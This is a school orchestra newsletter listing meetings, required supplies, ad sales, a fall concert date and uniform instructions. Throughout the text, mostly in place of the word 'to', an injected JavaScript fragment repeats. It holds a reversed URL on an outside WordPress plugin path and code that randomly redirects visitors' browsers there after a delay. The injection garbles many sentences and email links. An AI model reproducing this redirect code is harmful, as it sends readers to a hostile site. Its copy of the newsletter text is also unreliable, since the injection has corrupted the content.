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AHS ORCHESTRA UPDATE – 09.24.2022

Please visit our website: www.ahsorchestra.com and see the many resources, links, and information it provides you about the AHS Orchestra program!!

1. FIRST BOOSTER CLUB MEETING – TUES, SEP 27

2. REQUIRED ORCHESTRA MATERIALS – DUE MONDAY

3. LAST CHANCE – PROGRAM AD SALES – DUE MONDAY

4. FALL CONCERT: WED, OCT 12 

5. ORCH BOOSTER CLUB LOOKING FOR NEW MEMBERS

6. UNIFORM CHECK/HEM

1. FIRST BOOSTER CLUB MEETING – TUES, SEP 27

Our first Booster Club meeting will be held on Tuesday, September 27 at 7:00 pm in the Orchestra Room. This is such an important organization for our orchestra program. When everyone pitches in things go so much faster! Please park in the lot by the baseball fields and come in the back door. 

2. REQUIRED ORCHESTRA MATERIALS – NO MORE LOANERS

It is imperative that students have all their materials by Monday. We will no longer be issuing loaner materials. 

Every student, whether they own or rent an instrument, must have the following materials:

  • Shoulder Rest (for 4/4 size for violin OR 15-16 inch size viola)
  • Rosin 
    • Sherman, D’Addario, Bernadel, Kaplan, Pirastro, Magic, or Hidersine brand recommended for VIOLIN, VIOLA, and CELLO
    • Nyman, Kolstein, Pops, or Carlsson brand recommended for BASS
  • Music Stand for home practice (foldable or not)
  • Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool of appropriate height for home practice (for BASS)

3.  LAST CHANCE – PROGRAM AD SALES 

We have a few mParents wishing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase a Shout-Out for their student or advertise their business in our concert program may do so by submitting the Ad Sales Program form found on our Orchestra Website.  All money and forms must be turned in no later than September 16.  Each advertisement purchased also includes a complimentary listing on our orchestra website and weekly update, and will be featured in PowerPoint format before each major concert.  Please contact Mrs. Mour at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:smour@aisd.net”>smour@aisd.net if you are interested in purchasing an ad space. 

4. FALL CONCERT – WED, OCT 12

Mark your calendars. Our first concert is Wednesday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 12 at 7:00 pm at the beautiful AISD Center for Visual and Performing Arts (CVPA). Students will report directly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the CVPA for the concert. Call times will be announced soon. All AHS concerts for the next two years will be held at the CVPA while AHS is being renovated. 

5. ORCH BOOSTER CLUB LOOKING FOR NEW MEMBERS

The Orchestra Booster Club is looking for new members for general membership and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fill leadership positions for the 2022-2023 school year. The Booster club members work toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put on events for our orchestra students. Please contact Dr. Chapman at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:kchapman@aisd.net”>kchapman@aisd.net if you are interested in helping. 

6. UNIFORM CHECK/HEM

Everyone has been fitted for a uniform and should have taken them home. Please hem/dart/pin clothes as needed but please DO NOT remove/cut away any material. Here is a link for how-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hem. If you don’t know how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sew (I don’t either) just use safety pins instead of straight pins. https://www.youtube.com/watch?v=P02Mne95-s8